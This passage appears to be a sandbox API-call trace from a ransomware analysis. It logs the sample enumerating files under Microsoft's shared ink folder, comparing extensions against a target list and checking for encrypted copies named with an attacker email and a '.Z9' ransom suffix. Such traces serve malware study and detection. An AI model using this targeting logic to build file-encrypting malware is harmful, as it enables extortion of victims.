	[0072.903] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=27045) returned 1
	[0072.903] CloseHandle (hObject=0x2f4) returned 1
	[0072.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20
	[0072.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0072.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0072.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0072.903] lstrlenW (lpString=".doc") returned 4
	[0072.903] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.903] lstrlenW (lpString=".docx") returned 5
	[0072.903] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0072.903] lstrlenW (lpString=".pdf") returned 4
	[0072.903] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.903] lstrlenW (lpString=".xls") returned 4
	[0072.903] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.903] lstrlenW (lpString=".xlsx") returned 5
	[0072.903] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0072.903] lstrlenW (lpString=".ppt") returned 4
	[0072.903] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0072.903] lstrlenW (lpString=".zip") returned 4
	[0072.903] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.903] lstrlenW (lpString=".rar") returned 4
	[0072.903] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.903] lstrlenW (lpString=".bz2") returned 4
	[0072.903] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.903] lstrlenW (lpString=".7z") returned 3
	[0072.904] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0072.904] lstrlenW (lpString=".dbf") returned 4
	[0072.904] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0072.904] lstrlenW (lpString=".1cd") returned 4
	[0072.904] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0072.904] lstrlenW (lpString=".jpg") returned 4
	[0072.904] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0072.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0072.904] lstrlenW (lpString=".doc") returned 4
	[0072.904] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.904] lstrlenW (lpString=".docx") returned 5
	[0072.904] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0072.904] lstrlenW (lpString=".pdf") returned 4
	[0072.904] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.904] lstrlenW (lpString=".xls") returned 4
	[0072.904] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.904] lstrlenW (lpString=".xlsx") returned 5
	[0072.904] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0072.904] lstrlenW (lpString=".ppt") returned 4
	[0072.904] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0072.904] lstrlenW (lpString=".zip") returned 4
	[0072.904] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.904] lstrlenW (lpString=".rar") returned 4
	[0072.904] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.904] lstrlenW (lpString=".bz2") returned 4
	[0072.904] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.904] lstrlenW (lpString=".7z") returned 3
	[0072.904] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0072.904] lstrlenW (lpString=".dbf") returned 4
	[0072.905] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0072.905] lstrlenW (lpString=".1cd") returned 4
	[0072.905] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0072.905] lstrlenW (lpString=".jpg") returned 4
	[0072.905] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.905] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0072.905] lstrlenW (lpString="boxed-correct.avi") returned 17
	[0072.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0073.087] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=111320) returned 1
	[0073.087] CloseHandle (hObject=0x320) returned 1
	[0073.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20
	[0073.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0073.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0073.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0073.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0073.088] lstrlenW (lpString=".doc") returned 4
	[0073.088] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0073.088] lstrlenW (lpString=".docx") returned 5
	[0073.088] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0073.088] lstrlenW (lpString=".pdf") returned 4
	[0073.088] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0073.088] lstrlenW (lpString=".xls") returned 4
	[0073.088] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0073.088] lstrlenW (lpString=".xlsx") returned 5
	[0073.088] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0073.088] lstrlenW (lpString=".ppt") returned 4
	[0073.088] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0073.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0073.088] lstrlenW (lpString=".zip") returned 4
	[0073.088] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0073.088] lstrlenW (lpString=".rar") returned 4
	[0073.088] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0073.088] lstrlenW (lpString=".bz2") returned 4
	[0073.088] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0073.088] lstrlenW (lpString=".7z") returned 3
	[0073.088] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0073.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0073.089] lstrlenW (lpString=".dbf") returned 4
	[0073.089] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0073.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0073.089] lstrlenW (lpString=".1cd") returned 4
	[0073.089] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0073.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0073.089] lstrlenW (lpString=".jpg") returned 4
	[0073.089] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0073.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0073.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0073.089] lstrlenW (lpString=".doc") returned 4
	[0073.089] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0073.089] lstrlenW (lpString=".docx") returned 5
	[0073.089] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0073.089] lstrlenW (lpString=".pdf") returned 4
	[0073.089] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0073.089] lstrlenW (lpString=".xls") returned 4
	[0073.089] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0073.089] lstrlenW (lpString=".xlsx") returned 5
	[0073.089] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0073.089] lstrlenW (lpString=".ppt") returned 4
	[0073.089] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0073.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0073.089] lstrlenW (lpString=".zip") returned 4
	[0073.089] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0073.089] lstrlenW (lpString=".rar") returned 4
	[0073.089] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0073.089] lstrlenW (lpString=".bz2") returned 4
	[0073.089] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0073.089] lstrlenW (lpString=".7z") returned 3
	[0073.089] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0073.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0073.089] lstrlenW (lpString=".dbf") returned 4
	[0073.089] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0073.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0073.089] lstrlenW (lpString=".1cd") returned 4
	[0073.090] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0073.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0073.090] lstrlenW (lpString=".jpg") returned 4
	[0073.090] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0073.090] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0073.090] lstrlenW (lpString="boxed-split.avi") returned 15
	[0073.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0073.090] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=84190) returned 1
	[0073.090] CloseHandle (hObject=0x320) returned 1
	[0073.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20
	[0073.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0073.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0073.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0073.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0073.096] lstrlenW (lpString=".doc") returned 4
	[0073.096] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0073.096] lstrlenW (lpString=".docx") returned 5
	[0073.096] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0073.096] lstrlenW (lpString=".pdf") returned 4
	[0073.096] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0073.096] lstrlenW (lpString=".xls") returned 4
	[0073.096] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0073.096] lstrlenW (lpString=".xlsx") returned 5
	[0073.096] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0073.096] lstrlenW (lpString=".ppt") returned 4
	[0073.096] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0073.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0073.096] lstrlenW (lpString=".zip") returned 4
	[0073.096] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0073.096] lstrlenW (lpString=".rar") returned 4
	[0073.096] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0073.096] lstrlenW (lpString=".bz2") returned 4
	[0073.096] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0073.096] lstrlenW (lpString=".7z") returned 3
	[0073.096] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0073.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0073.096] lstrlenW (lpString=".dbf") returned 4
	[0073.096] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0073.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0073.096] lstrlenW (lpString=".1cd") returned 4
	[0073.097] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0073.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0073.097] lstrlenW (lpString=".jpg") returned 4
	[0073.097] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0073.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0073.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0073.097] lstrlenW (lpString=".doc") returned 4
	[0073.097] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0073.097] lstrlenW (lpString=".docx") returned 5
	[0073.097] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0073.097] lstrlenW (lpString=".pdf") returned 4
	[0073.097] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0073.097] lstrlenW (lpString=".xls") returned 4
	[0073.097] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0073.097] lstrlenW (lpString=".xlsx") returned 5
	[0073.097] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0073.097] lstrlenW (lpString=".ppt") returned 4
	[0073.097] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0073.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0073.097] lstrlenW (lpString=".zip") returned 4
	[0073.097] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0073.097] lstrlenW (lpString=".rar") returned 4
	[0073.097] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0073.097] lstrlenW (lpString=".bz2") returned 4
	[0073.097] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0073.097] lstrlenW (lpString=".7z") returned 3
	[0073.097] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0073.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0073.097] lstrlenW (lpString=".dbf") returned 4
	[0073.097] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0073.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0073.097] lstrlenW (lpString=".1cd") returned 4
	[0073.097] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0073.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0073.097] lstrlenW (lpString=".jpg") returned 4
	[0073.097] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0073.098] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0073.098] lstrlenW (lpString="join.avi") returned 8
	[0073.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0073.106] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=199994) returned 1
	[0073.106] CloseHandle (hObject=0x320) returned 1
	[0073.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20
	[0073.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0073.106] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0073.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0073.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0073.106] lstrlenW (lpString=".doc") returned 4
	[0073.106] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0073.106] lstrlenW (lpString=".docx") returned 5
	[0073.106] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0073.106] lstrlenW (lpString=".pdf") returned 4
	[0073.106] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0073.107] lstrlenW (lpString=".xls") returned 4
	[0073.107] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0073.107] lstrlenW (lpString=".xlsx") returned 5
	[0073.107] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0073.107] lstrlenW (lpString=".ppt") returned 4
	[0073.107] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0073.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0073.107] lstrlenW (lpString=".zip") returned 4
	[0073.107] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0073.107] lstrlenW (lpString=".rar") returned 4
	[0073.107] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0073.107] lstrlenW (lpString=".bz2") returned 4
	[0073.107] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0073.107] lstrlenW (lpString=".7z") returned 3
	[0073.107] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0073.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0073.107] lstrlenW (lpString=".dbf") returned 4
	[0073.107] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0073.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0073.107] lstrlenW (lpString=".1cd") returned 4
	[0073.107] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0073.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0073.107] lstrlenW (lpString=".jpg") returned 4
	[0073.107] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0073.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0073.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0073.107] lstrlenW (lpString=".doc") returned 4
	[0073.107] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0073.107] lstrlenW (lpString=".docx") returned 5
	[0073.107] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0073.107] lstrlenW (lpString=".pdf") returned 4
	[0073.107] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0073.107] lstrlenW (lpString=".xls") returned 4
	[0073.107] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0073.107] lstrlenW (lpString=".xlsx") returned 5
	[0073.107] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0073.108] lstrlenW (lpString=".ppt") returned 4
	[0073.108] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0073.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0073.108] lstrlenW (lpString=".zip") returned 4
	[0073.108] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0073.108] lstrlenW (lpString=".rar") returned 4
	[0073.108] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0073.108] lstrlenW (lpString=".bz2") returned 4
	[0073.108] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0073.108] lstrlenW (lpString=".7z") returned 3
	[0073.108] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0073.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0073.108] lstrlenW (lpString=".dbf") returned 4
	[0073.108] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0073.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0073.108] lstrlenW (lpString=".1cd") returned 4
	[0073.108] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0073.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0073.108] lstrlenW (lpString=".jpg") returned 4
	[0073.108] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0073.108] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0073.108] lstrlenW (lpString="auxbase.xml") returned 11
	[0073.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0073.111] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1434) returned 1
	[0073.111] CloseHandle (hObject=0x320) returned 1
	[0073.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20
	[0073.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0073.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0073.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0073.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0073.112] lstrlenW (lpString=".doc") returned 4
	[0073.112] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.112] lstrlenW (lpString=".docx") returned 5
	[0073.112] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0073.112] lstrlenW (lpString=".pdf") returned 4
	[0073.112] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.112] lstrlenW (lpString=".xls") returned 4
	[0073.112] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.112] lstrlenW (lpString=".xlsx") returned 5
	[0073.112] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0073.112] lstrlenW (lpString=".ppt") returned 4
	[0073.112] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0073.112] lstrlenW (lpString=".zip") returned 4
	[0073.112] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.112] lstrlenW (lpString=".rar") returned 4
	[0073.112] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.112] lstrlenW (lpString=".bz2") returned 4
	[0073.112] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.112] lstrlenW (lpString=".7z") returned 3
	[0073.112] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0073.112] lstrlenW (lpString=".dbf") returned 4
